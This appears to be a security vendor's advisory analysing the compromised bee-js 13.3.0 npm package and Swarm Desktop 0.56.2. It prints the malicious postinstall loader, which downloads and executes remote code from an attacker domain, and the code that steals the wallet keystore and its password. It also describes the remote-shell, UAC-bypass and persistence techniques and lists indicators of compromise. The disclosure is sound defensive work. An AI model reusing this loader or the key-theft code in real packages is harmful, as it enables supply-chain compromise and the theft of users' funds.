Compromised bee-js and Swarm Desktop Steal Swarm Wallet Keys
On this page
TL;DR
@ethersphere/bee-js is the JavaScript client for the Swarm storage network. Version 13.3.0 runs attacker code on install. A new postinstall hook downloads a second stage that steals the Swarm node’s wallet key and installs a backdoor. On Linux and macOS, the backdoor is a Go remote shell. On Windows, it is a hidden ScreenConnect client that runs as SYSTEM.
30 minutes later, the attacker put the same malicious code in Swarm Desktop 0.56.2.
The project’s own release workflow published 13.3.0 with a valid npm provenance attestation. The project’s release bot, bee-worker, made the release commit. This points to a compromised bot account or token, not a stolen npm token.
npm removed 13.3.0. The last clean version is 13.2.0, and latest points to it again.
The malicious commit
bee-worker made commit de2f74e(opens in new tab) at 23:59:54 UTC on 2026-11-08, with the message chore(upcoming): release 13.3.0 and no signature. No branch contains it. It looks like a normal release bump, but two changes in package.json make the attack work:
"files": [
- "dist"
+ "dist",
+ "scripts"
],
"scripts": {
- "prepare": "node scripts/generate-version.cjs",
+ "postinstall": "node scripts/generate-version.cjs",With postinstall, the script runs on every install. With scripts in files, the script ships in the package.
How it reached npm with provenance
The malicious code never went onto a branch. It went to npm through a GitHub release:
bee-workermade commitde2f74e, av13.3.0tag for it and a GitHub release for the tag, all in the same second.- The published release started the project’s npm workflow,
publish_npmjs.yaml(opens in new tab). - The workflow built the commit and published it to npm at 00:09 UTC with provenance. It runs tests only for code pushed to a branch, so it ran none here.
Branch protection did not stop this, because the attacker did not use a branch. Anyone who can create a release in this repository can publish code to npm with provenance.
Stage 1: the loader
The attacker added 18 lines to the top of the script(opens in new tab):
try {
const req = require('https').get(
'https://api.frameworkmetrics.xyz/v1/analytics',
{
headers: {
'User-Agent': process.platform,
'X-Ethersphere': '1',
},
timeout: 3000,
},
async res => {
let body = ''
for await (const chunk of res) body += chunk
new Function('require', 'console', 'process', body)(require, console, process);
},
)
req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}The hook downloads code and runs it with Node’s real require and process, as the same user as npm install.
The User-Agent is only the OS name (linux, darwin or win32), so the server can send a different payload for each OS. The X-Ethersphere: 1 header unlocks the payload. Without it, the server sends a harmless decoy.
The hook ignores all errors and timeouts, so the install never shows a problem. Its comments call the request an “analytics ping”.
Stage 2: wallet key theft and a backdoor
The stage-2 payload is plain JavaScript, with one file for each OS. It does two things.
It steals the Swarm node’s wallet key. It reads config.yaml and data-dir/keys/swarm.key from the Swarm Desktop data folder and sends both to /v1/swarm/report. swarm.key is an encrypted Ethereum keystore, and Swarm Desktop keeps its password in plain text in config.yaml. With both files, the attacker has the node’s private key and can take the wallet’s xDAI and xBZZ, the chequebook funds and the stake.
function trySwarm() {
try {
if (typeof require !== 'function') return;
var fs = require('fs');
var path = require('path');
var base = swarmBase();
if (!base || !fs.existsSync(base)) return;
var configPath = path.join(base, 'config.yaml');
var keyPath = path.join(base, 'data-dir', 'keys', 'swarm.key');
if (!fs.existsSync(configPath) || !fs.existsSync(keyPath)) return;
postSwarm(fs.readFileSync(configPath, 'utf8'), fs.readFileSync(keyPath, 'utf8'));
} catch (e) { /* silent */ }
}The macOS and Windows variants differ only in the base folder:
| OS | Swarm Desktop data directory |
|---|---|
| Linux | ~/.local/share/Swarm Desktop (or $XDG_DATA_HOME/Swarm Desktop) |
| macOS | ~/Library/Application Support/Swarm Desktop |
| Windows | %LOCALAPPDATA%\Swarm Desktop\Data |
It installs a backdoor that survives reboots.
| OS | Installs | Persistence |
|---|---|---|
| Linux | Go implant at ~/.solidity/linux_<arch>, started by ~/.solidity/.run.py | User systemd unit solidity-langsupport-runner.service (“Solidity language tooling helper”) |
| macOS | Go implant at ~/.solidity/darwin_<arch>, quarantine flag cleared with xattr -c | LaunchAgent com.solidity.langsupport.runner |
| Windows | ConnectWise ScreenConnect client, after a User Account Control (UAC) bypass | SYSTEM service ScreenConnect Client (5cbe79c9c25524df) |
On Linux, each later run repairs the systemd unit if someone changed it.
Stage 3: the implants
The evjawbreaker implant on Linux and macOS
The Go implant, evjawbreaker, is a remote shell. It connects to a “hub” over TLS without checking the certificate. It runs sh in a pseudo-terminal, runs the commands the hub sends and returns the output. If it finds a debugger or a virtual machine, it exits before it connects.
The implant has no built-in server address. It reads the hub address from an Ethereum smart contract, 0xf8a900Db50b3331be6B768bA460BB59f3E40C344, through public RPC endpoints such as rpc.ankr.com and cloudflare-eth.com. Defenders have no domain to take down, and the operator can move the hub with one transaction. The disassembly shows the contract address and the getter the implant calls:
663f87: lea rdi, [rip + 0xfe4e2] ; "0xf8a900Db50b3331be6B768bA460BB59f3E40C344"
663f93: lea r8, [rip + 0xef7ac] ; "0x02d91518"
663fa0: call 0x65b500 ; evjawbreaker/internal/eth.ethCallWithFallback
663fae: call 0x65be40 ; evjawbreaker/internal/eth.ParseABIStringThe operator is not new. They deployed the contract on 2026-03-14, and it has pointed to seven hubs since. They set the current hub, 193.57.9.155:4912, at 23:30 UTC on 8 Nov, 29 minutes before the malicious bee-js commit.
ScreenConnect on Windows
Windows gets two files. The first, invoke.ps1, is an obfuscated PowerShell script that gets admin rights:
- If the user is an administrator, it uses a public UAC bypass, UACME method 39. This method hijacks the .NET profiler of
mmc.exe, which starts with admin rights. - If not, it shows the UAC prompt again each time the user cancels it.
With admin rights, the script adds a Defender exclusion, installs app.msi silently, then removes the exclusion and its staging files.
The second file, app.msi, is a real ScreenConnect 25.4.3 client signed by ConnectWise. The attacker changed only its settings:
- It connects to a relay at
185.232.84.169:8041. - It hides its tray icon and its connection banners.
- It starts sessions without asking the user.
<setting name="ClientLaunchParametersConstraint" serializeAs="String">
<value>?h=185.232.84.169&p=8041&k=BgIAAACkAABSU0ExAAgAAAEA…</value>
</setting>It runs as a SYSTEM service, so the attacker gets full remote control. Onidel in the Netherlands hosts both the relay and the current evjawbreaker hub.
The ScreenConnect program files are legitimate, so their hashes are not useful for detection. Detect the relay address, the service instance ID and the configuration file hashes instead.
Swarm Desktop 0.56.2 is also malicious
At 00:36 UTC, about 30 minutes after bee-js, bee-worker published Swarm Desktop v0.56.2 as an “emergency patch release”. Its commit, 2de7270(opens in new tab), has no signature and no pull request. It adds the same loader to the app’s main() function, which calls /v1/electron each time the app starts.
The amd64 .deb has the loader in its app.asar file. The other installers come from the same build and probably contain it too. At 06:58 UTC on 9 Nov, GitHub still showed v0.56.2 as the current release. The Windows auto-updater file had 17 downloads, so existing installs may have updated to it. Swarm Desktop users have the exact wallet files that stage 2 steals.
Our detection timeline
Our Automated Investigation confirmed it as malicious four minutes after publish, about 70 minutes before npm removed it.
- 00:09 UTCPublished to npmObserved
The registry monitor recorded the new version.
- 00:10 UTCQueued for analysis
The new version went into the analysis queue.
- 00:10 UTCAnalysis completed
The threat monitor finished its first scan.
- 00:10 UTCFlagged as suspiciousCritical
Critical severity, 7 signals.
- 00:13 UTCInvestigation completedMalicious 0.95
Automated Investigation returned a malicious verdict with 0.95 confidence.
- 00:13 UTCVerdict proposed: malicious
Automated Investigation proposed a malicious verdict.
- 03:17 UTCVerdict approvedApproved
Approved after a matching OSV report.
If you installed either one
- Treat the machine as compromised.
- Move the Swarm node’s funds and stake to a new key. Treat the old key as stolen.
- Remove the backdoor: the
~/.solidity/folder and its systemd unit or LaunchAgent, or theScreenConnect Client (5cbe79c9c25524df)service on Windows.
Indicators of compromise
Stage 1: package and files
| Type | Value | Notes |
|---|---|---|
| npm package | @ethersphere/bee-js@13.3.0 | Removed from the registry about 01:24:58 UTC |
| SHA-256 | ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0f | scripts/generate-version.cjs, the loader (2,510 bytes) |
| SHA-256 | d01fdf241aa9e0a1ba6ebc19f8f667af1bf652745021c5050126cb7036f7ce58 | bee-js-13.3.0.tgz, third-party report, not verified |
| Code pattern | new Function('require', 'console', 'process', body) | Remote code execution in the postinstall script |
Stage 1: network
| Type | Value | Notes |
|---|---|---|
| URL | hxxps://api.frameworkmetrics[.]xyz/v1/analytics | Second-stage payload fetched on install |
| Domain | api.frameworkmetrics[.]xyz | Payload host |
| Domain | frameworkmetrics[.]xyz | Parent domain of the payload host |
| HTTP header | X-Ethersphere: 1 | Sent to the payload host |
| HTTP header | User-Agent: linux, darwin or win32 | Bare process.platform as the User-Agent |
Stage 1: repository and CI
| Type | Value | Notes |
|---|---|---|
| Git commit | de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf | Unsigned, on no branch, parent 4568f7a |
| Git tag | v13.3.0 (tag object f112f36110ef51ae91aa814596621c2eafd99d1b) | Annotated tag by bee-worker |
| GitHub release | 438613465 (v13.3.0) | Published 00:06:01 UTC, triggered the publish |
| Actions run | 42538346313 | Publish on npm, produced 13.3.0 |
| Actions run | 42538346336 | Dispatch to create-swarm-app, not yet assessed |
| GitHub account | bee-worker (ID 70210089) | Release bot, likely compromised |
Stage 2 and stage 3
The CSV has 65 indicators from the payloads, the implants, the C2 contract and the Swarm Desktop release. It leaves out the wallet that funded the operator. That wallet has more than 266,000 transactions, so it is probably an exchange wallet and not attacker infrastructure.
| Row | type | value | context | first_seen_utc | source |
|---|---|---|---|---|---|
| 1 | url | https://api.frameworkmetrics.xyz/v1/analytics | Stage-2 payload endpoint (bee-js postinstall loader) | 2026-11-09T05:43:41Z | stage-2 payloads (fetched live) |
| 2 | url | https://api.frameworkmetrics.xyz/v1/electron | Stage-2 payload endpoint (Swarm Desktop 0.56.2 loader) | 2026-11-09T05:43:41Z | stage-2 payloads (fetched live) |
| 3 | url | https://api.frameworkmetrics.xyz/v1/assets/ | Stage-3 asset download prefix (linux_amd64|linux_arm64|darwin_amd64|darwin_arm64|invoke.ps1|app.msi) | 2026-11-09T05:43:41Z | stage-2 payloads (fetched live) |
| 4 | url | https://api.frameworkmetrics.xyz/v1/swarm/report | Exfil endpoint: POST {configYaml,v3} = Swarm Desktop config.yaml (keystore password) + swarm.key | 2026-11-09T05:43:41Z | stage-2 payloads (fetched live) |
| 5 | http_header | X-Ethersphere: 1 | Gate header required by C2 to serve real payload; sent on every C2 request | 2026-11-09T05:43:41Z | stage-2 payloads |
| 6 | ip_port | 193.57.9.155:4912 | CURRENT evjawbreaker hub (TLS, implant skips cert verification); set on-chain 2026-11-08T23:30:47Z; Onidel NL | 2026-11-08T23:30:47Z | eth_call 0xf8a9...C344 0x02d91518 |
| 7 | ip_port | 193.57.9.17:4912 | Historical evjawbreaker hub (on-chain param1); Onidel NL | 2026-09-24T17:30:23Z | contract tx history (Blockscout) |
| 8 | ip_port | 178.16.54.222:4912 | Historical evjawbreaker hub (on-chain param1); TR-MGN TR | 2026-09-23T22:47:35Z | contract tx history (Blockscout) |
| 9 | ip_port | 107.189.27.223:4912 | Historical evjawbreaker hub (on-chain param1); RouterHosting | 2026-07-31T22:10:11Z | contract tx history (Blockscout) |
| 10 | ip_port | 107.189.27.46:4912 | Historical evjawbreaker hub (on-chain param1); RouterHosting | 2026-05-03T16:55:11Z | contract tx history (Blockscout) |
| 11 | ip_port | 91.108.240.156:4912 | Historical evjawbreaker hub (on-chain param1); Aeza FR | 2026-03-28T21:55:11Z | contract tx history (Blockscout) |
| 12 | ip_port | 107.189.16.215:4912 | Historical evjawbreaker hub (on-chain param1); RouterHosting | 2026-03-14T14:04:23Z | contract tx history (Blockscout) |
| 13 | url | http://107.189.27.46:3000/app.js | CURRENT on-chain param2 (getter 0x1f049b68); unused by analysed implant; likely other operator tool; not retrieved | 2026-05-16T12:08:23Z | eth_call 0xf8a9...C344 0x1f049b68 |
| 14 | url | http://91.108.240.156:3000/app.js | Historical on-chain param2 | 2026-03-29T19:16:59Z | contract tx history |
| 15 | url | http://91.108.240.156:3000/app | Historical on-chain param2 | 2026-03-29T19:07:47Z | contract tx history |
| 16 | ip_port | 185.232.84.169:8041 | Rogue ScreenConnect relay (h=/p= in system.config); Onidel NL | 2026-11-09T05:45:10Z | app.msi system.config |
| 17 | eth_contract | 0xf8a900Db50b3331be6B768bA460BB59f3E40C344 | C2 dead-drop contract (Ethereum mainnet); getter 0x02d91518=hub, 0x1f049b68=URL; setters 0xc832508f/0xf56f9b48 | 2026-03-14T13:03:47Z | implant strings + chain |
| 18 | eth_function_selector | 0x02d91518 | eth_call data used by implant to fetch hub (detect in JSON-RPC traffic with the contract address) | 2026-03-14T13:03:47Z | implant disassembly |
| 19 | eth_address | 0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7 | Operator wallet: deployer/owner/only writer of C2 contract | 2026-03-14T12:50:23Z | chain |
| 20 | eth_contract | 0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B | Second dead-drop contract (same getters 0x02d91518/0x1f049b68, encoded values; setter 0x8ac7fae5); deployed by 2nd operator wallet | 2026-07-31T18:31:11Z | chain |
- supply-chain
- npm
- malware
- github-actions
- provenance
- swarm
Author
safedep.io
